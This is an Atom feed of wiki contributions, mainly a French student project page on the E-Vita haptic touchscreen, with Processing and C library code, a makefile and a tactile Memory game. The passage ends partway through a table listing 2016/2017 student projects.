<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="fr">
		<id>https://wiki-ima.plil.fr/mediawiki//api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Pfitouss</id>
		<title>Wiki d'activités IMA - Contributions de l’utilisateur [fr]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki-ima.plil.fr/mediawiki//api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Pfitouss"/>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php/Sp%C3%A9cial:Contributions/Pfitouss"/>
		<updated>2026-05-13T18:54:40Z</updated>
		<subtitle>Contributions de l’utilisateur</subtitle>
		<generator>MediaWiki 1.29.2</generator>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=39720</id>
		<title>P42 Dispositif à retour tactile</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=39720"/>
				<updated>2017-02-27T09:40:22Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : /* Application */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Contexte du sujet=&lt;br /&gt;
L'E-vita s'inscrit dans une nouvelle démarche en faveur de l'interface homme-machine.&lt;br /&gt;
Depuis des année la technologie exploite nos sens de différente manière, l'idée de faire répondre la machine et de se faire comprendre par l'utilisateur, est obligatoire au bon fonctionnement de programme et autre fonctions. L'ouï, la vue sont les sens les plus exploiter par la technologie depuis le commencement.&lt;br /&gt;
Mais depuis un long moment le toucher se répand sur les différents système afin de s'approcher au plus près de l'utilisateur, l'écran tactile s'inscrit donc dans une nouvelle ère technologique, où les machines ne sont plus contrôler via des interrupteur ou bouton, mais via les différentes possibilités du toucher sur un écran.&lt;br /&gt;
Noter cependant que si depuis très longtemps les écran nous transmettent des informations, que l'on arrive également à contrôler des système via le son (clap des mains pour éteindre la lumière), il n'existe pas de dispositif tactile qui fonctionne en duplex (Homme vers machine, machine vers homme).&lt;br /&gt;
&lt;br /&gt;
C'est dans ce contexte que le bureau d'étude de l'IRCICA met au point l'E-Vita, un dispositif tactile qui non seulement permet la communication d'un homme vers la machine mais qui est également capable de faire communiquer,grâce au toucher, la machine vers l'utilisateur.&lt;br /&gt;
Le projet E-Vita, lancé en 2003, est capable aujourd'hui, via différentes applications test, de faire ressentir à son utilisateur différentes formes d'ondes (motifs), via des céramiques piezo-electriques. La dalle se met à vibrer sous le doigt de l'utilisateur ainsi la machine communique avec son utilisateur.&lt;br /&gt;
&lt;br /&gt;
=Objectif du sujet=&lt;br /&gt;
L'objectif de ce Projet de fin d'étude, et de réétudier la loi de contrôle qui permet au µC de contrôler les céramiques.&lt;br /&gt;
Actuellement une couche hardware supérieur récupère le mouvement du doigt ainsi que sa vitesse afin de faire ressentir à l'utilisateur un motif, une vibration électronique unique, typiquement une forme d'onde. L'idée principale et de rajouter de la dynamique dans la commande des céramiques afin que les motif ne soit plus enregistrée en dur dans le micro-controleur. Une possibilité envisageable pour cette définition de motif ainsi que la transmission de l'ordre, et de passer dans le domaine fréquentielle.&lt;br /&gt;
Je citais plus haut que le dispositif se décompose en plusieurs couches matérielles et logicielles, afin de les faire communiquer une couche transport OSC est utilisé afin de faire communiquer le micro-controller et le Banana Pi. Seulement pour des raison évidentes lorsque la plaque vibre, il n'y a que la surface de contact qui se mets réellement à osciller, on a donc ici un soucis de delai entre le moment où l'utilisateur pose son doigt, se déplace, et le suivi de par le programme des zone de vibrations. Il est envisageable si le projet se déroule bien de pouvoir réétudier la question de la programmation événementielle de la tablette tactile, afin que se temps de latence soit le plus bas possible.&lt;br /&gt;
&lt;br /&gt;
==Protocole de communication OSC==&lt;br /&gt;
&lt;br /&gt;
Afin de faire la liaison entre le Banana Pi et le micro-controlleur, la couche liaison est réalisé grâce au protocole Open Sound Control.&lt;br /&gt;
OSC est un protocole créer afin de faciliter la transmission d'information multimédia sur un réseau.&lt;br /&gt;
Utilisé pour la transmission de musique cela s'adapte a notre transmission de fréquence pour la vibration des céramique.&lt;br /&gt;
Cette communication utilise les normes TCP et UDP pour la communication temps réel entre le serveur et le client. &lt;br /&gt;
&lt;br /&gt;
Les paquets sont transmis avec deux informations, la première information est la taille du paquet OCS et la deuxième le paquet lui-même.&lt;br /&gt;
La taille des paquets OCS sont toujours un multiple de 4. Cela permet un alignement des différents block transmis.&lt;br /&gt;
Le contenus d'un paquet peut soit être un OSC Messages ou un OSC Bundle&lt;br /&gt;
&lt;br /&gt;
Quand le serveur reçoit un simple OSC Message il doit s'empresser d'invoquer la méthode associé. &lt;br /&gt;
A la différence, le OSC Bundle qui comporte lui-même une identification de temps, la méthode devra être éxécuté si le Time-Tag du bundle est égal ou déjà passé, et à l'inverse devra stocker le bundle et lancé la méthode au bon moment si le Time-Tag indique un évèvenement futur.&lt;br /&gt;
&lt;br /&gt;
Cette réalisation permet un résultat temps réel sur l'application, entre le moment du contact entre le doigt et la tablette et l'action de vibration des céramiques.&lt;br /&gt;
&lt;br /&gt;
==Retour des valeurs d'amplitude sur la plaque piezo==&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui le contrôle des céramique se fait grâce à des fichiers écrits en &amp;quot;dur&amp;quot; dans le programme, chacun des ses fichiers se présente sous la forme d'un tableau de 10000 valeurs d'entier.&lt;br /&gt;
Un entier est composé de 4 octets, sachant que 4 formes d'ondes sont utilisées dans la gamme de fréquence (50, 100, 500, 1000, 5000, 10000).&lt;br /&gt;
Cela correspond donc à 6*4*4*10000 = 960 ko de mémoire utilisé. &lt;br /&gt;
&lt;br /&gt;
Une solution évidente serait de non pas récupérer la valeur dans un tableau mais bien de la calculer voir de la prédire en fonction du déplacement, de la dimension de l'écran, de la fréquence de rafraîchissement. &lt;br /&gt;
&lt;br /&gt;
 Signal Sinusoîdal -&amp;gt; sin(wt)&lt;br /&gt;
 Signal Carré -&amp;gt; x(t) = 1 , 0 &amp;lt; t &amp;lt;= T et 0, T &amp;lt; t &amp;lt; 2T.&lt;br /&gt;
 Signal dent de scie -&amp;gt; x(t) = t, 0 &amp;lt; t &amp;lt; 2T&lt;br /&gt;
 Signal Dirac&lt;br /&gt;
&lt;br /&gt;
Un passage dans le domaine fréquentiel permettrait de généralisé le calcul des valeurs de retour. Ainsi qu'une représentation plus formelle du problème.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
=Cahier des charges=&lt;br /&gt;
&lt;br /&gt;
Établir une représentation visuel d'un mouvement de rotation sur une application de verrrouillage/dévérouillage par code/retour tactile.&lt;br /&gt;
&lt;br /&gt;
Concevoir une librairies facilitant la programmation d'application utilisant le retour tactile.&lt;br /&gt;
&lt;br /&gt;
=Avancé du travail=&lt;br /&gt;
Afin d’appréhender le problème facilement j'ai commencé par représenter un segment en direction du chiffre en cours de sélection. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ligne_numero_1.png|500px|left]][[Fichier:Ligne_numero_6.png|500px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le code correspondant est un classique switch/case inscrit dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
    switch (currentNumber){&lt;br /&gt;
    case 1:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,116,800-552);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 2:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,239,800-676);&lt;br /&gt;
      break;&lt;br /&gt;
    case 3:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,384,800-558);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 4:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,381,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  &lt;br /&gt;
    case 5:&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
      line(240,340,237,800-257);&lt;br /&gt;
      break;&lt;br /&gt;
    case 6:&lt;br /&gt;
    &lt;br /&gt;
     fill(255, 0, 0);&lt;br /&gt;
      line(240,340,98,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je décide donc de réaliser un cercle autour du bouton &amp;quot;OK&amp;quot; avec 4 segments permettant d'observer une rotation du cercle toujours dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333); // On place le référentiel au centre du bouton &amp;quot;OK&amp;quot;&lt;br /&gt;
     &lt;br /&gt;
      rotate(direction * millis() * 0.001 * TWO_PI / 1O.0);   // Créer une rotation de 360° en 10 secondes.&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145); &lt;br /&gt;
      line(75,0,90,0);&lt;br /&gt;
      line(-75,0,-90,0);&lt;br /&gt;
      line(0,75,0,90);&lt;br /&gt;
      line(0,-75,0,-90);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Pour l'instant la rotation se fait sans arrêt, cela ne convient qu'a moitié, mais elle permet tout de même de tourner plus vite si jamais on appuie plus d'une fois sur une des flèches jaunes.&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir une solution plus adéquate divers variables globales sont utilisées :&lt;br /&gt;
&lt;br /&gt;
 int direction = 0;       // Sens de direction rotation 0 = fixe / +n = décalage trigo / -n = décalage anti-trigo&lt;br /&gt;
 int nb_frame = 0;        // Enregistre le nombre de frame lorque l'on appuie sur une des flèches.&lt;br /&gt;
 float phi = 0.;          // Sert contient le calcul de la phase pour la rotation.&lt;br /&gt;
&lt;br /&gt;
La variable direction est modifié à chaque appuie sur une des deux flèches jaunes. Elle incrémente un compteur qui reset à chaque fin de rotation.&lt;br /&gt;
La rotation est rendu possible grâce au combo pushMatrix()/popMatrix() elle me permet d'afficher 6 segments séparés d'un angle de pi/3. &lt;br /&gt;
La variable phi correspond à la phase du premier segment, c'est cet élémént qui réalise réellement la rotation.&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333);                                               // Centrage sur &amp;quot;OK&amp;quot;&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145);&lt;br /&gt;
      if (frameCount &amp;lt; nb_frame +60){                                    // Calcul de la position du premier segment&lt;br /&gt;
         phi = direction * ((nb_frame-frameCount)/60.) * PI/3;           // Le frameRate est fixé à 60 itérations/s&lt;br /&gt;
      }else{&lt;br /&gt;
        direction =0;                                                    // Reset de la variable d'appui&lt;br /&gt;
      }&lt;br /&gt;
      //Creation des segments&lt;br /&gt;
      for (int i=0; i&amp;lt;6; i++){                                           // Cette boucle permet donc de créer les 6 segments et de donner l'impression qu'il tourne autour du cercle &lt;br /&gt;
        pushMatrix();&lt;br /&gt;
        rotate(phi + i*PI/3);&lt;br /&gt;
        line(75,0,90,0);&lt;br /&gt;
        popMatrix();&lt;br /&gt;
      }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Une animation est disponible au lien suivant : &lt;br /&gt;
[[Fichier: Rotation_propre.mp4|500px|center| Rotation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Boite à outils Haut Niveau==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Afin de créer un polymorphisme des classe Trectangle et Tcircle, cela permettra de créer une méthode sendControl général pour toute les classes.&lt;br /&gt;
&lt;br /&gt;
Conception des classes représentant les motifs élémentaires.&lt;br /&gt;
Conception des méthodes isIn : permet de savoir si un point de coordonnée x,y est contenu dans le motif.&lt;br /&gt;
Conception des méthodes dessiner : permet de dessiner le motif élémentaire&lt;br /&gt;
Première réflexions sur un la création d'un ensemble de motif élémentaire via un hashMap.&lt;br /&gt;
&lt;br /&gt;
===La classe abstraite Tforme ===&lt;br /&gt;
&lt;br /&gt;
 abstract class Tforme{&lt;br /&gt;
   String ensemble;&lt;br /&gt;
   int motif;&lt;br /&gt;
   void addMotif(int iMotif){&lt;br /&gt;
      motif = iMotif;&lt;br /&gt;
    }&lt;br /&gt;
   &lt;br /&gt;
   void sendControl(){&lt;br /&gt;
     println(motif);&lt;br /&gt;
   }&lt;br /&gt;
   &lt;br /&gt;
   abstract boolean isIn(int xpos, int ypos);&lt;br /&gt;
   abstract void dessiner();&lt;br /&gt;
   &lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
===La classe Trectangle===&lt;br /&gt;
&lt;br /&gt;
 class Trectangle extends Tforme{&lt;br /&gt;
  int x1, y1, x2, y2;&lt;br /&gt;
  &lt;br /&gt;
  Trectangle(int xpos, int ypos, int hauteur, int largeur){&lt;br /&gt;
    x1 = xpos;&lt;br /&gt;
    x2 = xpos + hauteur;&lt;br /&gt;
    y1 = ypos;&lt;br /&gt;
    y2 = ypos + largeur;&lt;br /&gt;
  }&lt;br /&gt;
    void dessiner(){&lt;br /&gt;
      rect(x1,y1,x2,y2);&lt;br /&gt;
    }  &lt;br /&gt;
    &lt;br /&gt;
    boolean isIn(int xpos, int ypos){&lt;br /&gt;
      if (xpos &amp;gt; x1 &amp;amp;&amp;amp; xpos &amp;lt; x2 &amp;amp;&amp;amp; ypos &amp;gt; y1 &amp;amp;&amp;amp; ypos &amp;lt; y2){&lt;br /&gt;
        return true;&lt;br /&gt;
      }else{&lt;br /&gt;
          return false;&lt;br /&gt;
       }&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    void setEnsemble(String ensemble){&lt;br /&gt;
      this.ensemble = ensemble;&lt;br /&gt;
      // rajoute une entree dans la HashMap&lt;br /&gt;
    }&lt;br /&gt;
 }  &lt;br /&gt;
&lt;br /&gt;
===La classe Tcircle===&lt;br /&gt;
&lt;br /&gt;
 class Tcircle extends Tforme{&lt;br /&gt;
  int x,y;&lt;br /&gt;
  int radius;&lt;br /&gt;
   Tcircle(int xpos, int ypos, int rayon){&lt;br /&gt;
     x = xpos;&lt;br /&gt;
     y = ypos;&lt;br /&gt;
     radius = rayon;&lt;br /&gt;
   }&lt;br /&gt;
   void dessiner(){&lt;br /&gt;
     ellipseMode(CENTER);&lt;br /&gt;
     ellipse((float)x, (float)y, (float)radius, (float)radius);&lt;br /&gt;
   }&lt;br /&gt;
   boolean isIn(int xpos, int ypos){&lt;br /&gt;
     float dist = sqrt(pow(x - xpos,2) + pow(y-ypos,2));&lt;br /&gt;
     if (dist &amp;lt;= radius){&lt;br /&gt;
     return true;&lt;br /&gt;
     }else{&lt;br /&gt;
       return false;&lt;br /&gt;
     }&lt;br /&gt;
   }&lt;br /&gt;
   &lt;br /&gt;
   void setEnsemble(String ensemble){&lt;br /&gt;
     this.ensemble = ensemble;&lt;br /&gt;
   }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Fonction de Rotation===&lt;br /&gt;
&lt;br /&gt;
Il est facilement imaginable qu'un développeur aura besoin de manipuler ses objet dans l'espace et donc de vouloir en modifier leur angle.&lt;br /&gt;
L'outil processing permet de réalise une rotation via la commande&lt;br /&gt;
&lt;br /&gt;
 rotate()&lt;br /&gt;
&lt;br /&gt;
Ayant utilisé plusieurs configuration, je ne parviens pas à obtenir une rotation depuis le centre de l'élément.&lt;br /&gt;
&lt;br /&gt;
Photo 1&lt;br /&gt;
&lt;br /&gt;
Malgrès mes essais avec l'option RectMode() qui permet de définir un rectangle depuis son centre, je n'aboutit toujours pas.&lt;br /&gt;
&lt;br /&gt;
Photo 2&lt;br /&gt;
&lt;br /&gt;
Il me semble donc obligatoire d'utiliser un peu de trigonométrie :&lt;br /&gt;
&lt;br /&gt;
Photo table de vérité + Représentation schématique&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Boite à Outils Bas Niveau==&lt;br /&gt;
&lt;br /&gt;
Afin de porter le développement vers le plus de langage possible, la boite à outils contient une base faite en C.&lt;br /&gt;
Cela permet grâce à des outils de type ''Java Nativ Interface'' de compiler la boite à outils bas niveau directement dans un langage plus adapté à la programmation graphique.&lt;br /&gt;
&lt;br /&gt;
On manipule donc nos structure en C en rendant publique les méthodes :&lt;br /&gt;
&lt;br /&gt;
 int startEvita();    // Initialisation &lt;br /&gt;
 void stopEvita();     &lt;br /&gt;
 &lt;br /&gt;
 void setTaxtTelRect(int id,int textureId, int x1, int y1, int x2, int y2);               //Définition forme géométrique où sera présente la texture : Taxtel&lt;br /&gt;
 void setTaxtTelEllipse(int id,int textureId, int x1, int y1, int x2, int y2, int r);     //Idem mais de manière elliptique&lt;br /&gt;
 void disableTaxtTel(int id, int textureId);                                              //Désactive le retour tactile pour la forme sélectionné&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 void setTextureRect(int textureId,float offset,float amplitude,float period,float ratio,char* speedFunc);     //Fonction définissant les texture possible : Signal Carré / Sinusoïde&lt;br /&gt;
 void setTextureCos(int textureId,float offset,float amplitude,float period, char* speedFunc);&lt;br /&gt;
 &lt;br /&gt;
 void registerCallbackPressed(void (*myfonction) (int x, int y));                  //Fonction permettant de choisir la méthode d'entrée voulu : Ecran Tactile, Souris,...&lt;br /&gt;
 void registerCallbackDragged(void (*myfonction) (int x, int y));&lt;br /&gt;
 void registerCallbackRelease(void (*myfonction)());&lt;br /&gt;
 void registerCallbackSpeed(void (*myfonction) (int speedX, int speedY));&lt;br /&gt;
 void registerCallbackTexture(void (*myfonction) (int signal, int period));&lt;br /&gt;
&lt;br /&gt;
Ces différentes fonction servirons de base pour tout programme utilisant la technologie du retour tactile.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et ci-dessous le makefile générant au choix une librairie statique/dynamique :&lt;br /&gt;
&lt;br /&gt;
 CC=gcc&lt;br /&gt;
 AR=ar&lt;br /&gt;
 EXEC=main&lt;br /&gt;
 SOURCE=libTextureControl.c&lt;br /&gt;
 OBJ=libTextureControl.o&lt;br /&gt;
 STATIC=libTextureControl.a&lt;br /&gt;
 DYNAMIC=libTextureControl.so&lt;br /&gt;
 HEAD=libTextureControl.h&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 clean:&lt;br /&gt;
 	rm -rf *.o *.a *.so *.out&lt;br /&gt;
 &lt;br /&gt;
 dynamic:$(DYNAMIC)&lt;br /&gt;
 	$(CC) main.c -L/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -I/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -lTextureControl -lm&lt;br /&gt;
 &lt;br /&gt;
 $(DYNAMIC):$(OBJ)&lt;br /&gt;
 	gcc -shared -o $(DYNAMIC) $(OBJ)&lt;br /&gt;
 &lt;br /&gt;
 $(OBJ):$(SOURCE)&lt;br /&gt;
 	gcc -c -fPIC $(SOURCE)&lt;br /&gt;
 &lt;br /&gt;
 install:&lt;br /&gt;
 	sudo mv $(STATIC) /usr/lib&lt;br /&gt;
 	sudo mv $(DYNAMIC) /usr/lib&lt;br /&gt;
 	sudo mv $(HEAD) /usr/include&lt;br /&gt;
 &lt;br /&gt;
 static:$(STATIC)&lt;br /&gt;
 	$(CC) main.c -L/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -I/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -lTextureControl -lm&lt;br /&gt;
 &lt;br /&gt;
 $(STATIC):$(OBJ)&lt;br /&gt;
 	$(AR) rcs $(STATIC) $(OBJ)&lt;br /&gt;
&lt;br /&gt;
== Application ==&lt;br /&gt;
&lt;br /&gt;
Afin de présenter la bibliothèque, j'ai développé une application mettant en valeur le retour tactile.&lt;br /&gt;
&lt;br /&gt;
Pour ceux, j'ai penser à réaliser le jeu &amp;quot;Memory&amp;quot;.&lt;br /&gt;
Le jeu se présente ainsi :&lt;br /&gt;
*On dspose un nombre pair de cartes face cachée.&lt;br /&gt;
*L'utilisateur en retourne une et découvre le symbole sur la face recto de la carte.&lt;br /&gt;
*L'utilisateur cherche donc la paire correspondante dans le jeu mais n'a qu'un seul essai avant que les deux cartes ne se retournent face verso.&lt;br /&gt;
*Grâce à sa mémoire et à la chance, il doit donc composé des paires de cartes qui se retirent du jeu quand une bonne pair est trouvé.&lt;br /&gt;
&lt;br /&gt;
J'ai adapté le jeu, afin que ce ne soit pas des symboles qui s'affichent sur le recto de la carte mais bien une texture tactile.&lt;br /&gt;
À la vue des contraintes, l'utilisateur devra validé sa paire avec un bouton adéquate.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut structurer le jeu ainsi : &lt;br /&gt;
&lt;br /&gt;
*Initialisation du plateau de jeu (18 cartes face verso).&lt;br /&gt;
**Distribution aléatoire 18/2 textures&lt;br /&gt;
*Tant que toutes les paires ne sont pas trouvées&lt;br /&gt;
**Tirer la première carte&lt;br /&gt;
***Sentir le motif tactile&lt;br /&gt;
**Tirer la deuxième carte&lt;br /&gt;
***Sentir le motif tactile&lt;br /&gt;
**Valider&lt;br /&gt;
**Test des motifs &lt;br /&gt;
***Si texture équivalente -&amp;gt; Le joueur gagne 1 points, le nombre de coup joué prend +1 -&amp;gt; Les cartes sont retirés&lt;br /&gt;
***Si texture non-équivalente -&amp;gt; Le nombre de coup joué prend +1 -&amp;gt; les cartes sont remises faces verso.&lt;br /&gt;
*Fin tant que &lt;br /&gt;
*Affichage du nombre de coups joués + durée de la partie.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Menu jeu.png|350px|thumb|center]]&lt;br /&gt;
[[Fichier:Game.png|350px|thumb|center]]&lt;br /&gt;
[[Fichier:Pause.png|350px|thumb|center]]&lt;br /&gt;
[[Fichier:Win.png|350px|thumb|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Les sources de la librairie et du jeu sont disponibles ici : [[Fichier : Source_P42.zip]]&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Source_P42.zip&amp;diff=39719</id>
		<title>Fichier:Source P42.zip</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Source_P42.zip&amp;diff=39719"/>
				<updated>2017-02-27T09:31:06Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : a téléversé une nouvelle version de « Fichier:Source P42.zip »&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Source_P42.zip&amp;diff=39718</id>
		<title>Fichier:Source P42.zip</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Source_P42.zip&amp;diff=39718"/>
				<updated>2017-02-27T09:25:43Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Projets_IMA5_2016/2017&amp;diff=39609</id>
		<title>Projets IMA5 2016/2017</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Projets_IMA5_2016/2017&amp;diff=39609"/>
				<updated>2017-02-26T09:43:44Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : /* Répartition des binômes */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Merci de référencer vos pages de projets ici. Merci aussi d'uniformiser vos formats que ce soit en regardant la présentation des projets déjà créés ou en allant modifier le format des précédents si votre façon de faire vous semble la meilleure. Dans tous les cas un minimum de communication entre les binômes est conseillée.&lt;br /&gt;
&lt;br /&gt;
Toutes les sources doivent être déposées sur notre archive GIT. Le service est disponible à l'URL [https://archives.plil.fr archives.plil.fr]. Connectez-vous avec vos identifiants Polytech'Lille. Sauf indication contraire de vos encadrants, rendez le projet public et mettez le lien sur votre Wiki. Vous pouvez trouver de la documentation sur ce système d'archives sur ce [https://git-scm.com/book/fr/v1 site].&lt;br /&gt;
&lt;br /&gt;
== Répartition des binômes ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table border=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Projet&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Elèves&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Encadrant Ecole&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Rapport décembre&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Rapports finaux&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Vidéo&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P1 Automatisation de tests de validation d'un logiciel embarqué]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Thomas ROJ / Maxime SZWECHOWIEZ &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Thomas VANTROYS (Ecole)&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;11/12/2016, 21:47&amp;lt;/span&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P3 Chaise vibrante pour enfant sourd]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Geoffrey Piekacz &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rodolphe Astori / Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;13/12/2016, 15:36&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P5 Réseau de capteurs sur smartphone]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Léo MAZIER &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P7 Régulation temps réel sur réseau sans fil ]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Morgan OBEISSART / Vincent ROBIC &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre BOE / Thomas VANTROYS &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;12/12/2016, 23:26&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P14 Conversion DC-DC à liaison AC et circuit L-C-L]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;Nicolas WEGRZYN&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;Philippe DELARUE&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[Fichier:Rapport_intermédiaire_PFE_Wegrzyn_Nicolas.pdf]],&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;13/12/2016, 00:28&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
